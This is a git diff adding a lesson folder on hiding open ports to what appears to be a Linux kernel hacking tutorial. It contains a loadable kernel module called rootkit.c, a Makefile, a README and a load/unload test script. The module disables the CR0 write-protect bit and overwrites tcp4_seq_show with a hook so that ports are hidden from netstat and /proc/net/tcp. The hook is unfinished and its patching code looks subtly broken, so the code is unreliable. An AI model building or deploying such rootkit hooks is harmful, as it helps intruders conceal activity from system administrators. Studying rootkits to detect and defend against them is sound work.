diff --git a/3_RootkitTechniques/3.6_hiding_ports/Makefile b/3_RootkitTechniques/3.6_hiding_ports/Makefile new file mode 100644 index 0000000..1856805 --- /dev/null +++ b/3_RootkitTechniques/3.6_hiding_ports/Makefile @@ -0,0 +1,7 @@ +obj-m += rootkit.o + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean diff --git a/3_RootkitTechniques/3.6_hiding_ports/README.md b/3_RootkitTechniques/3.6_hiding_ports/README.md new file mode 100644 index 0000000..c5a9f1e --- /dev/null +++ b/3_RootkitTechniques/3.6_hiding_ports/README.md @@ -0,0 +1,10 @@ +# Linux Kernel Hacking + +## 3.6: Hiding open ports + +> WORK IN PROGRESS + +Most linux applications that search for local open ports (netstat included) use the `/proc/net/tcp` pseudo-file to do so. By hooking this function, we can choose to hide a particular open port from userspace. + +To use: +* TBC diff --git a/3_RootkitTechniques/3.6_hiding_ports/rootkit.c b/3_RootkitTechniques/3.6_hiding_ports/rootkit.c new file mode 100644 index 0000000..ab4eff6 --- /dev/null +++ b/3_RootkitTechniques/3.6_hiding_ports/rootkit.c @@ -0,0 +1,114 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#define TMPSZ 150 + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("TheXcellerator"); +MODULE_DESCRIPTION("Hiding open ports"); +MODULE_VERSION("0.01"); + +unsigned long * __tcp4_seq_show; + +/* We have to save a copy of the tcp4_seq_show function the same way we save syscalls */ +typedef asmlinkage int (*orig_tcp4_seq_show_t)(struct net *); +orig_tcp4_seq_show_t orig_tcp4_seq_show; + +/* This is our hook function for tcp4_seq_show */ +static int hook_tcp4_seq_show(struct seq_file *seq, void *v) +{ + struct tcp_iter_state *st; + struct sock *sk = v; + + seq_setwidth(seq, TMPSZ -1); + if (v == SEQ_START_TOKEN) { + seq_puts(seq, " sl local_address rem_address st tx_queue " + "rx_queue tr tm->when retrnsmt uid timeout " + "inode"); + goto out; + } + st = seq->private; + + if (sk->sk_state == TCP_TIME_WAIT) + //get_timewait4_sock(v, seq, st->num); + printk(KERN_DEBUG "rootkit: sk->sk_state == TCP_TIME_WAIT\n"); + else if (sk->sk_state == TCP_NEW_SYN_RECV) + //get_openreq4(v, seq, st->num); + printk(KERN_DEBUG "rootkit: sk->sk_state == TCP_NEW_SYN_RECV\n"); + else + //get_tcp4_sock(v, seq, st->num); + printk(KERN_DEBUG "rootkit: else\n"); + +out: + seq_pad(seq, '\n'); + return 0; +} + +/* The built in linux write_cr0() function stops us from modifying + * the WP bit, so we write our own instead */ +inline void cr0_write(unsigned long cr0) +{ + asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order)); +} + +/* Bit 16 in the cr0 register is the W(rite) P(rotection) bit which + * determines whether read-only pages can be written to. We are modifying + * the syscall table, so we need to unset it first */ +static inline void protect_memory(void) +{ + unsigned long cr0 = read_cr0(); + set_bit(16, &cr0); + cr0_write(cr0); +} + +static inline void unprotect_memory(void) +{ + unsigned long cr0 = read_cr0(); + clear_bit(16, &cr0); + cr0_write(cr0); +} + +/* Module initialization function */ +static int __init rootkit_init(void) +{ + /* Lookup the memory location of tcp4_seq_show and set + * the orig_ function to it */ + __tcp4_seq_show = kallsyms_lookup_name("tcp4_seq_show"); + orig_tcp4_seq_show = (orig_tcp4_seq_show_t) __tcp4_seq_show; + + printk(KERN_INFO "rootkit: Loaded >:-)\n"); + printk(KERN_INFO "rootkit: found tcp4_seq_show at 0x%lx\n", __tcp4_seq_show); + + unprotect_memory(); + + /* Set __tcp4_seq_show to our hook */ + printk(KERN_DEBUG "rootkit: hooking tcp4_seq_show with 0x%lx\n", hook_tcp4_seq_show); + *__tcp4_seq_show = hook_tcp4_seq_show; + + protect_memory(); + + return 0; +} + +static void __exit rootkit_exit(void) +{ + unprotect_memory(); + + /* Set __tcp4_seq_show back to the saved original function */ + printk(KERN_DEBUG "rootkit: restoring tcp4_seq_show with 0x%lx\n", orig_tcp4_seq_show); + *__tcp4_seq_show = orig_tcp4_seq_show; + printk(KERN_DEBUG "rootkit: found tcp4_seq_show at 0x%lx\n", __tcp4_seq_show); + + protect_memory(); + + printk(KERN_INFO "rootkit: Unloaded :-(\n"); +} + +module_init(rootkit_init); +module_exit(rootkit_exit); diff --git a/3_RootkitTechniques/3.6_hiding_ports/test.sh b/3_RootkitTechniques/3.6_hiding_ports/test.sh new file mode 100755 index 0000000..66ab63b --- /dev/null +++ b/3_RootkitTechniques/3.6_hiding_ports/test.sh @@ -0,0 +1,11 @@ +sudo dmesg -C && + +make clean && +make && +clear && + +sudo insmod rootkit.ko && + +sudo rmmod rootkit && + +dmesg